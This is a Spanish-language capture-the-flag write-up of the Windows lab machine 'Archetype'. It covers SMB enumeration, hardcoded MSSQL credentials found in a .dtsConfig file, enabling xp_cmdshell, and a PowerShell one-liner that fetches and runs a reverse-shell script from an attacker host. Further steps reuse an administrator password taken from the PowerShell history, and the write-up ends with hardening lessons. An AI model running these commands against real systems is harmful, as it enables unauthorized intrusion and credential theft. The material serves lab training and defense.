unityArchetype

Dificultad: Very Easy - OS: Windows

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV --open -T4 -v -n 10.129.132.61
chevron-right📌Parámetros hashtag
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.95.187:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-01T17:59:22
| Not valid after:  2055-04-01T17:59:22
| MD5:   109a:2229:2d4b:d69f:d828:3a57:f5b0:1fcd
|_SHA-1: 6693:18c0:2452:7922:33b4:2bf4:96ac:2b03:8ab3:b9ba
|_ssl-date: 2025-04-01T18:44:11+00:00; -8m33s from scanner time.
| ms-sql-info: 
|   10.129.95.187:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h15m28s, deviation: 3h07m52s, median: -8m33s
| smb2-time: 
|   date: 2025-04-01T18:44:02
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-01T11:44:03-07:00

En síntesis:

Enumeración de recursos smb con usuario anónimo

Como primer paso vamos a listar recursos del servicio SMB. Para realizar esto podemos usar estas tools: smbclient y smbmap

Parámetros: -N sin contraseña -Lesta opción le permite ver qué recursos están disponibles en un servidor

SMBMap:

Parámetros: -H → indica el host objetivo. -u → es para indicar el nombre de usuario. -p → es para indicar la contraseña. " " → es un string vacío. De esta forma nos autenticamos como usuario anónimo.

El recurso que nos interesa es "backups", un directorio que contiene un archivo .dtsConfig Para acceder a la carpeta backups vamos a usar smbclient

chevron-right📌¿Qué es un archivo .dtsConfig?hashtag

Un archivo DTSCONFIG es un archivo de configuración en formato XML utilizado en SQL Server Integration Services (SSIS). Su propósito principal es almacenar y aplicar valores de configuración a paquetes SSIS sin necesidad de modificarlos manualmente en cada entorno (por ejemplo, desarrollo, pruebas y producción).

Riesgos de Seguridad y Pentesting en archivos .dtsConfig

Desde una perspectiva de seguridad, los archivos .dtsConfig pueden ser una fuente de credenciales sensibles porque a menudo contienen:

  • Cadenas de conexión con nombres de servidores, bases de datos y credenciales.

  • Cuentas de usuario y contraseñas en texto plano si no están protegidas correctamente.

Una vez que descargamos el archivo .dtsConfig nos vamos a encontrar con lo siguiente:

Credenciales hardcodeadas: Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

Ejecución de comandos mediante xp_cmdshell

El siguiente paso es conectarnos al servidor MSSQL con las credenciales encontradas. En este punto vamos a usar la siguiente tool: impacket-mssqlclient

chevron-right📌Desglose del comandohashtag
  1. python3 ejecuta el script usando Python 3.

  2. mssqlclient.py Es un script de la suite Impacket que permite conectarse a servidores Microsoft SQL Server (MSSQL) desde la terminal.

  3. ARCHETYPE/sql_svc@10.129.132.61

Formato de credenciales de acceso:

  • ARCHETYPE → Nombre del dominio o del equipo donde se encuentra el servidor SQL.

  • sql_svc → Nombre del usuario con el que se intenta conectar.

  • @10.129.132.61 → Dirección IP del servidor MSSQL.

Esto indica que intentamos conectarnos al servidor SQL en 10.129.132.61 usando el usuario sql_svc del dominio ARCHETYPE.

  1. -windows-auth Este parametro indica que se usará autenticación de Windows (NTLM) en lugar de autenticación SQL estándar.

📌 Diferencias entre autenticaciones:

  • Autenticación SQL Server (-windows-auth no se usa): Se requieren credenciales de SQL (usuario/contraseña definidas en el servidor SQL).

  • Autenticación Windows (-windows-auth sí se usa): Se usan credenciales del dominio Windows para autenticarse en SQL Server.

En este caso, el usuario sql_svc está definido en el dominio ARCHETYPE y se intentará autenticar con su contraseña de Windows.

Una vez que logramos entrar al MSSQL vamos a comprobar si nuestro usuario es sysadmin:

El valor 1 nos indica que el usuario es sysadmin por lo tanto tenemos los permisos para modificar configuraciones y leer archivos, pero lo que vamos a testear ahora es como esta configurado el xp_cmdshell (un procedimiento almacenado extendido en Microsoft SQL Server que permite ejecutar comandos del sistema operativo desde SQL Server).

Este mensaje nos esta diciendo que el componente xp_cmdshell esta desactivado como parte de la configuración de seguridad de este servidor y que solo un administrador del sistema puede habilitar el uso de 'xp_cmdshell' mediante sp_configure. Entonces, ¿Cómo podemos habilitar este componente?

Para entender que es un procedimiento almacenado extendido y xp_cmdshell ir al siguiente articulo:

microsoftMSSQLchevron-right

Si consultamos el manual con 'help' vamos a encontrar un comando para habilitar la xp_cmdshell: enable_xp_cmdshell

Una vez que habilitemos la xp_cmdshell vamos a ver un mensaje que nos indica cual es la siguiente instrucción para aplicar los cambios (la línea en cuestión es la 3 que nos pide ejecutar el comando reconfigure para aplicar los cambios). Finalmente podremos usar xp_cmdshell y probar algunos comandos como whoami o pwd

Reverse shell

Ahora que podemos ejecutar comandos del sistema operativo vamos a establecer nuestra reverse shell siguiendo este paso a paso

  1. Setear el payload shell.ps1 con nuestra IP atacante y el puerto de escucha donde recibiremos la conexión desde el equipo objetivo Windows una vez que ejecutemos la carga útil con powershell.

  2. Levantar un servidor con Python en el equipo atacante. Iníciarlo en la misma carpeta donde se guardó el payload shell.ps1

  3. Levantar el listener con Netcat usando el puerto que configuramos en el payload para que el equipo objetivo pueda mandarnos la reverse shell.

  4. Desde el servidor SQL: descargar el payload shell.ps1 alojado en la máquina atacante y ejecutarlo como un script de Windows usando powershell.

1) Crear el payload:

En la línea TCPClient("0.0.0.0",4444); hay que poner la IP de nuestra maquina atacante y el puerto que vamos a usar como listener con netcat. La extensión .ps1 indica que el archivo es un script de PowerShell

Para ver más sobre este payload ir al siguiente artículo:

book-skullShell.ps1chevron-right

2) Levantamos un servidor con python3 desde la carpeta donde dejamos guardado el payload:

3) Levantamos un listener con netcat en otra shell, usando el puerto que configuramos en el payload:

chevron-right📌Parámetroshashtag
  • -n → No DNS resolution.

    • Evita que Netcat intente resolver nombres DNS. Usa direcciones IP tal cual.

    • Útil para que responda más rápido y no cause errores innecesarios.

  • -v → Verbose.

    • Modo detallado. Muestra más información sobre lo que está haciendo (por ejemplo, cuando se establece la conexión).

  • -l → Listen.

    • Pone a Netcat en modo escucha, esperando que otra máquina se conecte a este puerto (ej: una reverse shell).

  • -p 4444 → Port.

    • Especifica el puerto en el que va a escuchar. En este caso, el 4444.

4) Ejecutamos el siguiente "one liner" en la sesión de mssql

chevron-right📌Desglose del one linerhashtag

xp_cmdshell permite ejecutar comandos del sistema operativo desde dentro de SQL Server. Todo lo que va dentro de las comillas dobles se ejecuta como si fuera un comando en una terminal de Windows (cmd.exe).

"powershell -c ..."

Esto inicia PowerShell con el flag -c, que le indica que lo que sigue es un conjunto de comandos a ejecutar.

cd C:\Users\sql_svc\Downloads;

Cambia el directorio actual a Downloads, donde vamos a guardar el archivo descargado.

Invoke-WebRequest -Uri http://10.10.15.39:8000/shell.ps1 -OutFile shell.ps1 -UseBasicParsing;

Este comando descarga el archivo shell.ps1 desde el servidor python y lo guarda localmente como shell.ps1.

  • -Uri http://10.10.15.39:8000/shell.ps1 → URL desde donde descargar.

  • -OutFile shell.ps1 → Nombre del archivo destino.

  • -UseBasicParsing → Evita que se use el motor de Internet Explorer (que da errores en sistemas sin GUI).

powershell -ExecutionPolicy Bypass -File shell.ps1

Una vez descargado, este comando ejecuta el script shell.ps1 saltándose cualquier política de restricción de ejecución (ExecutionPolicy Bypass).

  • -ExecutionPolicy Bypass → Evita restricciones (por ejemplo, si la política no permite ejecutar scripts).

  • -File shell.ps1 → Especifica qué archivo .ps1 ejecutar.

Y así logramos obtener nuestra reverse shell:

Escalada de privilegios con WinPEAS

Por último nos faltaría escalar privilegios y para esta etapa vamos a utilizar WinPEAS. Si ya lo tenemos instalado en kali lo podemos localizar con locate y copiar el .exe al directorio donde levantemos el servidor con python3:

Antes de descargar WinPEAS en la reverse shell vamos a buscar la flag del usuario:

Ahora si, para descargar WinPEAS en la máquina objetivo vamos a seguir estos pasos:

Levantamos un servidor con python3 desde el directorio donde se encuentre el archivo winPEASx64.exe

y lo descargamos con wget desde la reverse shell

Parámetros: wget → en PowerShell, el alias wget redirige en realidad a Invoke-WebRequest. http://10.10.15.39:8000/winPEASx64.exe → es la URL desde la cual se quiere descargar el archivo. -OutFile → indica el nombre del archivo local en el que se va a guardar la descarga. winPEASx64.exe → el nombre con el que se guarda el archivo en la máquina local.

Una vez que ya tenemos cargado el binario lo ejecutamos y nos va a arrojar un reporte con mucha información de la cual nos interesa la siguiente: el PS history file

El PS history file es el archivo de historial de comandos de PowerShell del usuario sql_svc. PowerShell, al igual que bash en Linux, guarda un historial de los comandos que fueron ejecutados en sesiones anteriores. Este archivo es clave durante un pentesting porque nos permite revelar información como contraseñas, comandos administrativos, interacciones del usuario con sistemas remotos, etc. Para leer este archivo usamos el siguiente comando:

¿Qué significa este resultado?

net use → comando para conectar unidades de red en Windows. T: → letra de unidad local que se asignará al recurso de red. \\Archetype\backups → ruta UNC del recurso compartido en red (una carpeta de la máquina Archetype). /user:administrator → se está autenticando como el usuario administrator. MEGACORP_4dm1n!! → es la contraseña usada para ese usuario

RCE con EvilWinRM

Con estas credenciales podemos conectarnos al puerto 5985/tcp que corre el servicio de HTTP (WinRM) utilizando EvilWinRM o también podemos conectarnos al puerto 445/tcp que corre el servicio de SMB utilizando impacket-psexec

EvilWinRM

impacket-Psexec

Como conclusión: durante el desarrollo del CTF exploramos un escenario realista de compromiso de una máquina Windows a través de una serie de miss configurations y exposición de credenciales. Esta experiencia pone en evidencia varias debilidades comunes en entornos Windows y refuerza la importancia de implementar buenas prácticas de hardening como las siguientes:

chevron-right🔐 Lecciones de Hardening en Windowshashtag
  • Exposición de credenciales en archivos de configuración: La presencia de contraseñas en texto plano dentro de archivos como prod.dtsConfig muestra la necesidad de:

    • Usar secure strings o gestores de secretos.

    • Aplicar ACLs restrictivas para limitar el acceso a archivos sensibles.

  • Permisos débiles en carpetas compartidas vía SMB: El acceso anónimo a recursos SMB permitió obtener archivos sin autenticación. Esto se puede mitigar:

    • Desactivando accesos de invitado.

    • Aplicando políticas de permisos mínimos (Least Privilege).

  • Habilitación de xp_cmdshell en MSSQL: Esta función ofrece ejecución de comandos en el sistema operativo. Por defecto está deshabilitada, pero en este caso estaba disponible o pudo habilitarse. Se recomienda:

    • Mantener xp_cmdshell desactivado.

    • Monitorizar actividades en MSSQL, especialmente en roles con privilegios elevados.

  • PowerShell sin restricciones: La ejecución libre de scripts y el almacenamiento del historial en ConsoleHost_history.txt sin protección permitió el descubrimiento de credenciales de administrador. Para mitigarlo:

    • Habilitar políticas de ejecución más restrictivas (Set-ExecutionPolicy).

    • Limpiar o auditar archivos de historial regularmente.

    • Implementar AppLocker o WDAC para controlar la ejecución de binarios

Last updated